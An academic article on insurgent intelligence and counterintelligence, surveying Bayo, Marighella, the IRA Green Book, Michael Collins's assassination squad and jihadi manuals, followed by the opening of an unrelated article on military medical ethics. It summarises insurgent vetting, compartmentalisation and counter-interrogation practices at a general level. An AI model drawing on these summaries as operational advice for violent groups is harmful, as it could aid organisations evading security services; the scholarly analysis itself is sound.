There are a lot of questions, which the leadership of the insurgent movement needs to answer in order to establish the basic security and counterintelligence strategy. The most fundamental question is the operational control: a centralized system is more vulnerable for attack, but a decentralized organization is harder to control. From the security aspect, the latter is more desirable, control is however a central issue, because it is closely tied to the use of violence, which can make or break political objectives. An adaptive organization is capable of developing through four distinct phases in the course of an insurgency (not all are needed for success):

1. proto-insurgency: non-violent organizational period (forging the relevant identity, identifying a cause or causes, creating a framework organization etc.). Maximum secrecy and security is necessary.[11]

2. phase one: first violent actions, introduction of political program, beginning of mobilization. Slow organizational expansion, need for tactical intelligence rises.

3. phase two: intensification of violence (potentially with the introduction of guerrilla warfare tactics) and political action, creating "liberated areas" and executing administrative tasks. It is vital to create an effective counterintelligence capability on the newly acquired territory, while simultaneously ensuring the security of the organizational expansion and the support of the military effort, which is vital for the victory of the insurgents.

4. phase three: conventional war phase. Intelligence and counterintelligence requirements grow, which are familiar to a functioning state.[12]

This practically means that when we talk about insurgent intelligence and counterintelligence, we are basically talking about phase one and two. Good counterintelligence by the insurgents in these phases can lead the counterinsurgent forces to conduct useless, violent operation in order to gain relevant intelligence, which, because the way it is collected, can cause great resentment and lead to an increase in popular support. Good intelligence can on the other hand help the insurgent group to its first victories.

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[11] This is not the usual phasing regarding an insurgency, which usually only states the existence of three stages. However, as Daniel Byman points out, Mao had a „party" to rely onto create the necessary circumstances for the armed struggle. Many groups don't have this kind of background, that's why it is necessary to distinguish this period as a separate phase. Byman, Daniel [2007]: Understanding Proto-Insurgencies, RAND National Defense Research Institute, pp. vii-viii. and 4-5.
http://www.rand.org/content/dam/rand/pubs/occasional_papers/2007/RAND_OP178.pdf
[12] FM 3-24 [2014] p. 4-14.

Framing the problem

Counterintelligence is needed also to counteract potential internal problems which can be caused by enemy intelligence activity. Based on real or false news on the leaders, moral etc. of the group, serious problems can be caused by suspicion and distrust. Also, enemy intelligence – under some circumstances – can provoke insurgent forces into unnecessary or counterintuitive actions. The simplest way for this is the manipulation of insurgent communications or the use of agents inside the insurgent movement. [13] However there are other counterinsurgency methods to cause troubles for the insurgents:

Lost and captured documents by the enemy. Internal documents can help the counterinsurgent to have more precise information about the insurgent political goals, relationships between individuals and leaders, financial background, training etc. The importance of such documents in recent years is highlighted by the establishment of the Harmony Program, which was established by the US Armed forces (after initial intelligence exploitation) and made publicly available for researchers and everyone interested by the Combating Terrorism Center at West Point. It is a database of captured documents, with the original and English translation both made available, laying the ground for many publications about Iraq and Afghanistan. [14] A practical case in point is that of "Tania the guerrilla" (Haydée Tamara Bunke Bider). She was an Argentinean of German heritage, who was recruited by the MfS (Ministerium für Staatssicherheit, Ministry of Intelligence of East Germany). In 1967 she left important documents in a rented car, which was discovered by the Bolivian Army, providing important information on Che Guevara's guerrilla movement. [15]

Hijacking insurgent communication. Communication is one of the greatest vulnerabilities for insurgent groups. A skilled counterinsurgent can use sloppy or underdeveloped communications security practices for its own ends, causing significant problems for insurgents. In the course of the Second World War, the German frontline counterintelligence units tried to hijack communication between Russian partisan units and their Soviet command structure, which provided regular resupply with experts and specialist materials. The Germans had some successes by capturing radio operators, or playing German made codes into partisan hands and capturing the much needed supplies. [16]

Capture of insurgent leader(s) and members by the enemy. Besides the immediate problems of the loss of a leader or member, the more important thing for the group is to minimize the potential damage, which can be caused by the effective interrogation of these people. A vivid example is the killing of Abu Musab al-Zarqawi, who was located with the help of interrogating members of his organization. With non-coercive methods they could convince one of the prisoner to cooperate and he gave a vital clue on how one of Zarqawi's

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[13] Arango [1968a]

[14] The Harmony Program's website can be reached at: https://www.ctc.usma.edu/programs-resources/harmony-program

[15] TURBIVILLE, Graham H. Jr. [2009]: *Guerrilla Counterintelligence: Insurgent Approaches to Neutralizing Adversary Intelligence Operations,* Joint Special Operations University Report 09-1, pp. 41-42. http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA495513

[16] DRUM, Karl D. [1962]: *Airpower and Russian Partisan Warfare*, USAF Historical Division Research Studies Institute, Air University, p. 34. http://www.afhra.af.mil/shared/media/document/AFD-090521-045.pdf

close associates prepared for clandestine meetings with his boss. With this information it was possible to track him to one of the meeting sites and kill Zarqawi.[17]

The **defector** problem is one of the most serious ones for an insurgent group, because defectors are usually more than willing to give the counterinsurgent side actionable intelligence in order to secure their own future, usually regardless of the suffering they are causing for their former colleagues. Many things can cause defection, such as perceived unfair treatment, lack of opportunity for climbing the ranks, dissatisfaction with the leadership etc. Also, enemy intelligence agencies can foment defection, by identifying and encouraging potential candidates, promising rewards for the potential defector. Money, safety, revenge, or simple disillusionment can be forceful motivators for defection. Usually identification and establishing contact can be achieved through family connections, former dissidents or cooperating prisoners. Defectors can reach out to former comrades and initiate a surrender talks with them. Defection can also be encouraged by an effective amnesty program, and successful defections can lead to further defections among the associates of the original defector. Historically there are many examples for this. In Vietnam the Chieu Hoi program provided a mechanism for potential defectors to rally to the government side.[18] How destructive defectors can be is illustrated by Richard L. Clutterbuck's account of a defection in the course of the Malayan emergency. The defector, who became separated from his unit and gave himself up, was willing to lead the British to the basecamp of his unit in the jungle, entered the camp, shot his commander while he was asleep, which was the signal for the British forces to attack the camp.[19] A more recent example is the case of FARC commander Ivan Rios, who was killed by one of his own body guards, who then cut his right hand off, went to over to the government side and claimed the $2.5 million reward offered by the Colombian government for his boss' killing.[20]

The most feared danger of an insurgent group is a **penetration agent**, who during his time in the insurgent movement offers his services for the counterinsurgent side. Penetration can also be achieved by the enemy intelligence, by offering people the insurgent movement needs for its functions, such as low level government officials in important institutions. With the dynamic growth of the organization, low level penetrations are a fact of life for insurgent movement, the trick for them is to sort out these penetrations before they become a real problem. High level penetrations are much more problematic, and can cause great problems for leaders (and also members, if it becomes public knowledge).[21] A good example for the damage can be the recent case in Colombia, where the far-left Revolutionary Armed Forces of Colombia (FARC), were penetrated by Colombian intelligence and duped into giving up hostages they wanted to use as bargains in negotiations with the government for their own

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[17] Mark BOWDEN [2007]: *The Ploy*, The Atlantic
http://www.theatlantic.com/magazine/archive/2007/05/the-ploy/305773/?single_page=true

[18] MOYAR, Mark [2007]: *Phoenix and the Birds of Prey: Counterinsurgency and Counterterrorism in Vietnam,* Bison Books, pp. 108-109.

[19] CLUTTERBUCK, Richard L. [1962]: *The SEP -- Guerrilla Intelligence Source*, Military Review, Volume XLII Number 10, October, p. 13.

[20] Colombia to pay ex-rebel reward, BBC, 14 March 2008, http://news.bbc.co.uk/2/hi/americas/7297829.stm

[21] Arango [1968a]

captured personnel. Among the freed hostages were three Americans, eleven members of the Colombian security forces and a former presidential candidate.[22]

Pseudo guerrillas are groups of armed men, who pose as insurgents, but their real purpose is to make contact to the enemy and get information from them or to destroy the insurgents.[23] The pseudo guerrilla approach was widely used by many actors. For example, the British army and police in Kenya used this tactic to combat autonomous guerrilla bands in the forests, with the help of surrendered or captured but cooperating enemy personnel.[24] The Russians in Afghanistan similarly formed "false bands", which had to contact real insurgents and either kill them, or help the armed forces to attack them. These false bands contained specially trained operatives and captured members of insurgent groups willing to cooperate.[25] This method however is only effective, where many independent insurgent groups operate on an ad hoc basis.

Intelligence on the other hand is a decidedly tactical problem for the insurgents, most of the time. A weak insurgent organization needs to be able to conduct successful attacks, for this it needs to know where and when to attack, with what kind of force etc.

Historical answers to the counterintelligence problems

There is a small but interesting historical literature written on the topic. Alberto Bayo, Carlos Marighella and the IRA's Green Book provide all interesting insights into the historical development of insurgent counterintelligence and intelligence. Historically it is also important to mention the innovations of Michael Collins in the field of aggressive insurgent counterintelligence, however there is no actual theoretical work from him or the other participants in this activity.

Alberto Bayo (1892-1967) was one of the first important theoreticians, who gave great emphasis in his work to the question of insurgent intelligence and counterintelligence. He also had great experience in irregular warfare. He was a member of the Spanish army, fought in the Spanish colonies and participated in the civil war on the Republican side, and he became a major proponent of special operations, using his knowledge of colonial warfare to make perfect the guerrilla tactics. After the victory of Franco, Bayo travelled to Latin-America, where he came into contact with many rebel groups, which were interested in his work. Fidel Castro asked Bayo to help train his group, which Bayo did. After the success of Castro, Bayo settled in Cuba, where he helped train Cuban forces. His main work, One Hundred Fifty

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[22] Colombia hostage Betancourt freed, BBC, 3 July 2008

http://news.bbc.co.uk/2/hi/americas/7486552.stm

[23] Arango [1968a]

[24] Indeed according to the recollection Frank Kitson, a British officer serving in Kenya at the time of the Mau Mau uprising, the original idea of conducting such operations was greatly influenced by one cooperating prisoner, who was willing to use his contacts within the insurgent movement to sabotage it. Kitson, Frank [1960]: Gangs and Counter-Gangs, Barrie and Rockliff pp. 74-75. http://www.kalasnyikov.hu/dokumentumok/frank-kitson-gangs-countergangs.pdf

[25] MITROKHIN, Vasiliy [2002]: *The KGB in Afghanistan*, The Cold War International History Project Working Paper Nr. 40, pp. 115-116. http://www.wilsoncenter.org/sites/default/files/WP40-english.pdf

Question for the Guerrilla, was probably first published in 1959 and thanks to the success of the Cuban revolution; it became popular with left wing insurgents in the region.[26]

On the question of penetration, Bayo had an uncompromising stance. He favored deep background checks for everyone, who wanted to enter the movement. The initial stage of the check was a questionnaire, in which the applicant had to answer many questions, from basic personnel information to political questions, and his or her history in the movement (arrests included). Also the applicant had to face an interrogation. In case the investigation, which was conducted with the help of this information, showed that the applicant was an enemy infiltrator, Bayo had a simple solution: he or she had to face a Summary Court Martial, and after which he or she will be sentenced (probably executed).[27]

On the topic of pseudo guerrillas, Bayo offers the tale of one of his students, Calixto Sánchez, who was a guerrilla leader in Cuba. After the initial successes, he and his guerrilla group met a group of peasants, who greeted them with greetings hailing Castro. The guerrillas proceeded to act without any security precautions, and were arrested, because the peasants were in reality enemy soldiers. Bayo stresses that utmost precaution must be used when coming into contact with larger civilian, or seemingly guerrilla units.[28]

Bayo also emphasizes the necessity of regular secure communications between groups of guerrillas. He envisages this by using couriers, who report verbally. Written messages should be coded and duplicated, and sent by local couriers, so that the message reaches its intended target with higher probability.[29]

Bayo also gives special attention to the question of the difference between a spy and a "counterspy". He defines counterspy as *"one who works with the enemy forces, or is a volunteer in the ranks of the oppressors. Once in their confidence, he goes to work for us, keeping us up to date with firsthand intelligence information."*[30] A spy is in Bayo's view *"a peasant working for us who accompanies the enemy troop pretending to be their friends and selling them anything they need. (…) He should never ask them for any information whatsoever, but rather report everything, every movement, he sees; shout the equipment the enemy has; information on their delays, etc."*[31] Bayo later adds that the cover of the counterspy is important, and he or she should take part in military action against the guerrillas, but with the intent to disclose as much information as possible about the military action, to cause the least harm to the guerrillas.[32] This means that Bayo doesn't subscribe to the state usual definitions of these activities. He views counterintelligence activity as a broader activity and not a passive one, but a very active function. To underline this, he

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[26] TURBIVILLE, Graham H. Jr. [2009]: *Guerrilla Counterintelligence: Insurgent Approaches to Neutralizing Adversary Intelligence Operations*, Joint Special Operations University Report 09-1, pp. 10-12. http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA495513

[27] Bayo [undated]: One Hundred Fifty Questions to a Guerrilla, Q3, Q4 and Q5 (for the sake of precision and because the cited document is a hypertext document, in the following footnotes the relevant questions will be referenced)

[28] Bayo [undated] Q20

[29] Bayo [undated] Q40 and 41

[30] Bayo [undated] Q54

[31] Bayo [undated] Q54

[32] Bayo [undated] Q145

emphasizes the importance of the counterspy by saying: *"In wartime, counterespionage is of greater service than simple espionage."*[33]

From the organizational point of view, Bayo also mentions as an important issue of the requirements for keeping apart the intelligence and sabotage roles. He states, that the information gathering should be the task of the intelligence organization, but it shouldn't execute sabotage action, while the sabotage group shouldn't gather its own information on their targets.[34]

Carlos Marighella (1911-1969) was a far left political activist and insurgent, who became a theoretician of urban guerrilla warfare. He was a leader of the Action for National Liberation (Acao Libertadora Nacional, ALN). Compared to Bayo, Marghella had a different strategy: he was the first insurgent theoretician, who followed an urban strategy in support of the rural insurgency. He wrote ideological and practical works, but his most important work is the Minimanual for the Urban Guerrilla, which was published shortly before his death.[35]

On the questions on counterintelligence, Marighella is also a great advocate for the organization of an effective counterintelligence service as a tool for success. He insists on a broad counterintelligence collections program, where seemingly unimportant information has also to be collected. He also argues that the information has to be obtained "naturally", without causing undue attention. Every member also has to be cautious when conducting his or her activities to avoid any unnecessary attention.[36]

The IRA Green Book is an interesting example of an "officially sanctioned" insurgent publication which covers important counterintelligence questions. The Green Book describes as a fundamental obligation for every member to uphold the utmost secrecy before friends and family, and everyone else and also should shun any situation by which his loyalties can be traced to the republican movement. The document calls for maximum self-control and calls to attention the fundamental mistakes which can help the enemy (such as careless handling of documents, weapons and ammunition etc.).

The Green Book has two parts: one is a general guidance for the members, including strategy, use of violence, general guidelines for conduct etc. The second book contains principles for counterintelligence and counter-interrogation. It was the product of a significant change in strategy for the IRA, throwing out the idea of an imminent victory and replacing it with the need for a long term struggle.[37]

One of the most important concerns for the IRA was the effectiveness of interrogation techniques the British employed against the members of the group. In book two the topic is discussed in detail, covering psychological and physical aspects of the treatment a detained member of the group can face. It describes basic procedure, remembers the reader of his rights, and that without evidence the police can hold him or her for only seven days. It offers a

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[33] Bayo [undated] Q54

[34] Bayo [undated] Q57

[35] Turbiville [2009] p. 20.

[36] MARIGHELLA, Carlos: *Minimanual of the Urban Guerrilla*, U.S. Marine Corps Development Command, p. 18. http://www.mccdc.marines.mil/Portals/172/Docs/SWCIWID/COIN/Insurgent Principles and Practices/Mini-Manual of the Urban Guerrilla Carlos Marighella (1969).pdf

[37] Ilardi [2010] p. 6.

simple formula for the reader: *"remain cool, collected, calm, and say nothing"*.[38] It also stresses the importance for being observant when detained, in order to help the movement's counterintelligence organization to identify the source of information on which the arrest was made. Finally document explains the procedure for the IRA's court martial process.

Michael Collins (1890-1922) was an Irish nationalist, who took part in the Easter Rebellion in 1916 and later joined the Irish Republican Army (IRA) and the political organization Sinn Fein. He also became the member, and later the leader of the movement's intelligence organization.[39]

Collins' most far reaching legacy was the adoption of an aggressive counterintelligence strategy, which targeted Irish police and intelligence, British military, auxiliary and intelligence personnel, who were deemed dangerous by the IRA intelligence organization. T. Ryle Dwyer quotes Collins' philosophy: *"To paralyze the British machine it was necessary to strike at individuals. Without her spies England was helpless. It was only by means their accumulated and accumulating knowledge that the British machine could operate."*[40] Accordingly, an assassination group was established, with the aim of serving the intelligence organization, which operated first in separate subgroups. This group is largely referred to today as the "Squad", but had other names, like the "Twelve Apostles" (its initial members were twelve volunteers).[41]

The first victim of the assassination policy was an Irish police officer working on political cases, Detective Sergeant Patrick Smyth. On July 30, 1919, he was shot near his home, but died only later.[42] This attack, and later attacks added to the strategy of isolating police officers in their communities and further demoralized the police force. In later stages of the conflict this strategy was further refined, and most infamous series of attacks against British and Irish intelligence personnel became known as bloody Sunday. Although only less than one third of the intended targets were killed,[43] politically it was considered a success, because panic ensued in the ranks of British and Irish security personnel, and the police and auxiliary forces overreacted and killed civilians, which caused a political uproar.[44]

Intelligence

In his foreword to Mao Tse-tung's On Guerrilla Warfare, General Samuel Griffith summed up the role of intelligence as a decidedly tactical affair for insurgents: *"Where is the enemy? In what strength? What does he propose to do? What is the state of his equipment, his supply, his morale Are his leaders intelligent, bold, and imaginative or stupid and impetuous?*

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[38] Text of Irish Republican Army (IRA) 'Green Book' (Book I and II), Conflict Archive on the Internet (CAIN), University of Ulster, undated http://cain.ulst.ac.uk/othelem/organ/ira/ira_green_book.htm

[39] TURBIVILLE [2009] pp. 15-16.

[40] DWYER, T. Ryle [2005]: The Squad and the Intelligence Operations of Michael Collins, Mercier Press, p. 36.

[41] TURBIVILLE [2009] p. 56.

[42] DWYER [2005] pp. 46-48.

[43] DWYER [2005] pp. 192-193.

[44] TURBIVILLE [2009] p. 58.

Are his troops tough, efficient, and well disciplined, or poorly trained and soft?"[45] He also stated that intelligence gathering needs to be widespread, and every civilian person under the control of the guerrilla organization has to be considered an intelligence gathering asset. The members of the movement have to pressure everyone if needed to give up information for the insurgents (regardless of age or sex).[46]

With superior intelligence the insurgents are able to operate under conditions which are favoring them and they need to fight under these circumstances because they are militarily weak.

Marighella advocates a population, centric approach to intelligence. He states that it is vital for the insurgents to win the trust of the population so it can provide information about police and military movements and can help mislead the counterinsurgent forces. As Marighella states: *"Information, which is only a small segment of popular support, represents an extraordinary potential in the hands of the urban guerrilla."*[47] This creates a need for an intelligence organization, which has to be able to track the enemy movements and plans (financial information included). Open source intelligence, especially media reports have to be collected on a regular basis. Gathering intelligence is a task for every member of the movement, including reconnaissance, investigation, target observation etc.[48]

The openly available jihadi intelligence and counterintelligence literature and practice

The modern internationalist jihadi movement is a complex web of people, groups, organizations and other actors, insurgent groups included. Indeed, many nationalist jihadi groups can use material prepared by internationalist groups, because they use the internet as a virtual safe haven and partially as a training tool, manuals on intelligence and are available. Also, the jihadi movement uses every available source for much of its activity, including intelligence matters.

Intelligence and counterintelligence were always a central concern for jihadi groups. The autocratic systems of the Islamic countries invested much time, money an energy to create effective intelligence and counterintelligence services, which penetrated opposition groups of every kind. So the need to counter this organization created a deep interest in the topic. An early example is the Encyclopedia of the Afghan Jihad, which contains among many other topics fundamental information on the questions of intelligence and counterintelligence.[49] A good example for the openness of the jihadi movement on information is Abu Sayyaf, a jihadi group in the Philippines, which gave credit to Carlos Marighella, by entitling one of its manuals released in 2004 Minimanual for the Urban Mujahideen.[50] Also, Al-Qaeda and associated movements have a love-hate relationship with

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[45] MAO [1989] p. 22.

[46] MAO [1989] pp. 22-23.

[47] MARIGHELLA p. 17.

[48] MARIGHELLA pp. 17-18.

[49] ILARDI [2009] pp. 252-253.

[50] STOUT, Mark E., Huckabey, Jessica M., Schindler, John R. with Jim Lacey [2008]: *The Terrorist Perspectives Project: Strategic and Operational Views of Al Qaida and Associated Movements,* Naval Institute Press, p. 71.

Western intelligence gathering methods and history, admiring them and fearing them, while also analyzing them.[51] That's why it is important to involve these manuals into the scope of the current study.

These groups partially function as social networks, thus vetting potential candidates is built into this system.[52] This is nothing new: Omar al-Nasri, an agent working for Western intelligence has a vivid account about his vetting procedures in Afghanistan.[53]

AQ tended to stress the importance of a security culture. Captured material such as the Declaration of Jihad Against the Country's Tyrants is a great example. One of the earliest and most complete publicly available jihadi manual concerning intelligence and counterintelligence is the Military Studies in the Jihad Against the Tyrants. It was captured by British police in Manchester, UK, at the flat of an Al-Qaeda member and was made partially available for the public, because it was used as evidence by the Department of Justice in the United States. [54] The manual has robust intelligence, counterintelligence, counter-interrogation sections.

Among the missions in the manual the intelligence gathering ranks first.[55] Like the Green Book, the Military Studies manual also has a solid built in set of passive counterintelligence instructions. Regarding the membership the manual states that every member needs to be mature, obedient and willing to sacrifice (even his or her life if needed) for the organization. The members also need to keep secrets and conceal information, observe and analyze, be truthful and be able to conduct intelligence operations.[56]

The document contains instructions on personal security,[57] installation security[58] and communication security (personal and electronic).[59] It also has a chapter on what to do in detention and counter-interrogation techniques.[60] One chapter[61] is dedicated for planning and executing a security plan (which is defined as *"a set of coordinated, cohesive, and integrated measures that are related to a certain activity and designed to confuse and surprise the enemy, and if uncovered, to minimize the work loss as much as possible"*.[62])

Information gathering is divided into two chapters: information gathering with open and secret methods. It defines espionage as *"(…) the covert search for and examination of the enemy's news and information for the purpose of using them when a plan is devised."*[63] It

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[51] STOUT et al [2008] pp. 62-63.

[52] ILARDI, Gaetano Joe [2009]: *Al-Qaeda's Counterintelligence Doctrine: The Pursuit of Operational Certainty and Control,* International Journal of Intelligence and Counterintelligence, Volume 22, Issue 2, p. 246. http://dx.doi.org/10.1080/08850600802698226

[53] NASIRI, Omar al- [2007]: *Mein Leben bei al-Qaida: Die Geschichte eines Spions,* Spiegel Buchverlag pp. 193-196.

[54] US under fire over al-Qaeda guide, BBC News, 27 July 2005 http://news.bbc.co.uk/2/hi/americas/4722833.stm

[55] Military Studies in the Jihad Against the Tyrants [undated], Part 1, p. UK/BM-12.

[56] Military Studies in the Jihad Against the Tyrants [undated], Part 1, pp. UK/BM-15-19.

[57] Military Studies in the Jihad Against the Tyrants [undated], Part 1, pp. UK/BM-22-23.

[58] Military Studies in the Jihad Against the Tyrants [undated], Part 1, pp. UK/BM-25-27.

[59] Military Studies in the Jihad Against the Tyrants [undated], Part 2, pp. UK/BM-29-39.

[60] Military Studies in the Jihad Against the Tyrants [undated], Part 4, pp. UK/BM-176-180.

[61] Military Studies in the Jihad Against the Tyrants [undated], Part 2, pp. UK/BM-57-67.

[62] Military Studies in the Jihad Against the Tyrants [undated], Part 2, p. UK/BM-57.

[63] Military Studies in the Jihad Against the Tyrants [undated], Part 3, p. UK/BM-76.

goes on to detail tactics, methods, historical precedents and the practicalities of agent operations.

'Abd al-'Aziz Al-Muqrin, a former leader of the Al-Qaeda organization in Saudi Arabia also placed great emphasis on intelligence and counterintelligence in his work, who was also a theoretician of urban operations. He describes the importance of intelligence in planning armed attacks in some detail. His work is of interest, because it has an urban operations centered part, which describes how he intends to use intelligence and counterintelligence in this environment. He stresses the importance of compartmentalizing information as much as possible, and the intelligence gathering unit shouldn't be made aware of timing and other details of planned attacks.[64]

Muqrin advocates the use of two-person intelligence gathering teams (depending on the importance of the collection target the numbers can be bigger). The groups need members who have specialization in using computers (uploading information, managing databases etc.), someone, who catalogs raw intelligence, a photographic (including video) specialist and a communications specialist. The group needs to be trained collectively and be able to have basic understanding of every other member's specialization.[65]

AQ and the wider jihadi community lay great emphasis on knowing enemy intelligence structures and communicate this knowledge to the operatives and supporters in its manuals. One of the most famous is Myth of Delusion[66], which was an effort to give a comprehensive view about the United States Intelligence Community (IC). The Myth of Delusion is around 150 pages, it gives an overview on the historical, structural background (with an emphasis on dirty operations and scandals), recruitment, training, technological capabilities and the expected American "strategies". Although it uses many Western sources, it is not scientifically written, it has many questionable assertions.[67]

There are historical examples for jihadi radical infiltration into Western institutions. The earliest cited is the case of Ali Mohammed, a former Egyptian Army officer, who immigrated to the United States and volunteered to serve in the US Army in 1986, becoming a supply sergeant in the John F. Kennedy Special Warfare Center School. At this time, he fought in Afghanistan as a volunteer. After an honorable discharge, he tried to join the FBI as an informant. He was a major source of knowledge for some training materials, which were used in Afghanistan, and did some personnel training himself.[68]

Jihadi authors are keenly aware of the technological gap they have to face. The Egyptian Islamic Jihad manual entitled Security and Intelligence states that the technological areas of intelligence, such as imagery intelligence and signals intelligence are traditional weaknesses, and the movement has to do everything possible, to compensate for that.[69]

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[64] CIGAR, Norman [2009]: *Al-Qa'ida's Doctrine for Insurgency: 'Abd al'Aziz al-Muqrin's A Practical Course for Guerrilla War*, Potomac Books, p. 120.

[65] Cigar [2009] pp. 122-123.

[66] Myth of Delusion, Counterterrorsm Blog, http://counterterrorismblog.org/site-resources/images/Myth-of-Delusion.pdf

[67] Stout et al [2008] p. 72.

[68] Stout et al [2008] p. 68.

[69] Stout et al [2008] pp. 70-71.

The examples for aggressive insurgent counterintelligence operations are many. Suspected insurgents conducted a suicide attack against an intelligence building in Baghdad on the 23 August, 2014, killing eight people.[70] Also, there were reported plans, such Abu Musab Zarqawi's organization planning a massive attack against the headquarters of the Jordanian intelligence service.[71]

The most visible example on a jihadi group's ability to run agents and conduct aggressive counterintelligence actions was the Camp Chapman attack in Afghanistan in 2009.

Conclusion

The equilibrium between counterintelligence and intelligence in the active armed phases is different for an insurgent and a counterinsurgent group. As the historic examples show, counterintelligence is more important for the insurgents as the weaker contender, in order to frustrate the plans of the counterinsurgent organizations. Also, the focus of the insurgent intelligence and counterintelligence activities differ from the traditional state intelligence and counterintelligence activities. For example an aggressive insurgent counterintelligence campaign is often as much about preventing counterinsurgent groups from collecting information as trying to get information about their activities. Intelligence for an insurgent group is first of all decidedly tactical, and is dictated by operational requirements. Also, non-traditional aspects, such as helping the planning of assassinations, freeing prisoners (or prison breaks) etc. are also part of the insurgent intelligence and counterintelligence activities.

This means that the official definitions of these activities need to be redefined, when talking about insurgents. AAP-6 defines intelligence as: *"The product resulting from processing of information concerning foreign nations, hostile or potentially hostile forces or elements, or areas of actual or potential operations."*[72], while counterintelligence is defined as: *"Those activities which are concerned with identifying and counteracting the threat to security posed by hostile intelligence services or organizations or by individuals engaged in espionage, sabotage, subversion or terrorism."*[73]

By searching for a definition for the insurgent equivalent, one has to bear in mind what insurgent intelligence is and what it is not: it is an enemy focused, with great tactical emphasis it is not a strategically focused, organized and centralized process. Indeed very few insurgent organizations are capable of creating bodies focused on these tasks. Mao and Bayo saw intelligence as part of the staff system of the guerrilla movement. Marighella envisioned a lean organization, so intelligence was part of every member's task. The IRA was the only

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[70] RASHEED, Ahmed and COLES, Isabel: *Bombs kill at least 35 across Iraq a day after mosque shooting*, Reuters, Aug 23, 2014
http://www.reuters.com/article/2014/08/23/us-iraq-security-idUSKBN0GM0L620140823
[71] Jordan says major al Qaeda plot disrupted, CNN, April 26, 2004, http://edition.cnn.com/2004/WORLD/meast/04/26/jordan.terror/
[72] AAP-6 [2013] p. 2-I-6.
[73] AAP-6 [2013] p. 2-C-16.

organization among those mentioned, which built a dedicated counterintelligence organization.

The author puts forward the following definitions to refine the definition of intelligence and counterintelligence from the insurgent organization's point of view:

– insurgent intelligence: tactically oriented, operationally focused, locally executed process of information gathering on counterinsurgent and rival insurgent forces, personnel, facilities, equipment, moral etc. by using commercially available technical means and human sources through coercion if necessary.

– insurgent counterintelligence: every activity concerning the security of the leadership, operations, financial sources, equipment, membership, facilities and communication of the insurgent group. The core element is a security culture, to which every member has to adhere and coercive measures have to be established to enforce this. As part of this, aggressive measures have to be taken to discourage defection and infiltration.

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3. ARANGO, Carlos Revilla [1968b]: *Insurgent Counterintelligence: The Latin American guerrilla's protection against government intelligence and security*, Center for the Study of Intelligence, Volume 12, Issue 1, pp. 39-53. https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/Index/html/v12i1a05p_0001.htm

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Current Issues of Military Medical Ethics

Abstract

The article reviews those changes which occurred in the practice of the medical profession during the past decades, and which resulted in a change in the paternalistic approach and a strengthening of the patient's autonomy in the physician-to-patient relationship. The characteristics of modern warfare are examined, and certain ethical situations are highlighted which, as a result, pose new challenges for the medical officer, and require special preparation in the changing legal circumstances. Until the adoption of the nation's own military medical principles, the author suggests that, in addition to the utilization of existing international documents, the recommendations of NATO member states be studied.
The author hopes to contribute to the discussion of the topic and to the forming of common views in the staff of officers by raising the issue and analysing moral questions.

Keywords: medical ethics, modern war conduct, military ethics, patient right for soldiers, dual loyalty, military medical ethics

Introduction

The ethical responsibility of medical officers is proven by a series of historical examples. In Turin, Ambroise Pare (1537), the first outstanding military surgeon condemned the mercy killing of those severely injured; Dominique Jean Larrey (1797), Napoleon Bonaparte's medical chief of staff laid the foundation of mass casualty treatment by organising evacuation ("flying ambulances"); after the battle of Solferino (1859), Henry Dunant created the basis for the foundation of the Red Cross by introducing the idea of relying on volunteers. The moral drawn from the human experiments performed by the Nazis in Germany during World War II gave a push to the creation of the Helsinki Agreement.

In the autumn of 2006, the UK Parliament granted a group pardon to 306 soldiers who

had been qualified cowards and sentenced to death and executed for desertion during World War I. According to our current knowledge, those soldiers were not able to return to the front line due to combat stress and not due to cowardice. For instance, the 25-years-old Private Harry Farr, executed by firing squad, fought continuously and bravely for two years, in the battle of the Somme among others, but in September 1916, he got into such a bad a state of mind that he "floundered and screamed" when the staff tried to enforce him to return to the front line. However, combat stress is not easy to judge even today. The judgement of a soldier's fitness for service is the medical officer's responsibility. Kovács dealt with this issue as well, giving historical, conceptual, symptomatic, preventive and treatment summary, however, he mentioned the necessity of further studies which may support the evidence-based treatment and care of soldiers in real-life situations[1].

It is a matter of course that doctors' aim is their patients' wellbeing, but doctors themselves may become a source of danger when possessed by some political sense of mission, and it is hardly foreseeable how they will behave as doctors. In June 2007, after the terrorist actions attempted near Piccadilly Circus in London and the next day at the Glasgow airport with relatively little success, without casualty, the British secret service arrested eight people who had not been in their field of vision before, and seven of these people were doctors and one was medical technician.[2]

Carl von Clausewitz considers war to have chameleon-like character in that it changes its characteristics with each event. Today, we live in an era of wars which are called asymmetrical, low intensity, war on terror, or wars using new technologies (cyber war, robotic war, non-lethal weapons). These are all accompanied by special challenges of military medical ethics. For example, the main problem for the military medical ethics in the so called „war on terror" is the status of detainees.

After the occupation of Afghanistan, in the autumn of 2002, the American Government established a detention camp at the Guantanamo base, Cuba Island, to detain captured people suspected to be Al-Qaeda terrorists. It became publicly known that torture cases (deprivation of food, water and sleeping) at the detention camp took place with the participation of the medical personnel. President Bush ordered humanitarian treatment of these captives which is in accordance with the military situation and with the Geneva conventions, but, according to such conventions, these people were terrorists, so they were not entitled to the same rights as prisoners of war. Later on, the Supreme Court of the USA declared that not even the US Government is entitled to decide arbitrarily on the fate of the captives, as the rules of the generally accepted humanitarian law apply to them as well.

These cases evoked significant controversy in leading medical periodicals as well, and underlined the timeliness of the discussion of military medical ethics.[3] Medical ethics may only give well-grounded answers and recommendations to current challenges after we have

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understood the main factors which play a role in generating such challenges. These are as follows: 1) changes in warfare, 2) changes in military ethics, 3) changes in medical ethics.

1. Changes in warfare

At the beginning of the 21st Century, the tendencies in the world may be grouped around four megatrends. These are globalization, technical development, a shift in the rate of production of goods vs. services industry, and sociological and social demographic changes, including ageing as the most important element.

The megatrends have an effect on political changes (the bipolar world order coming to an end) and warfare as well, which has resulted in an increased emphasis of asymmetrical wars and terrorist actions and the necessity of interpretation and rethinking of the just war theory.

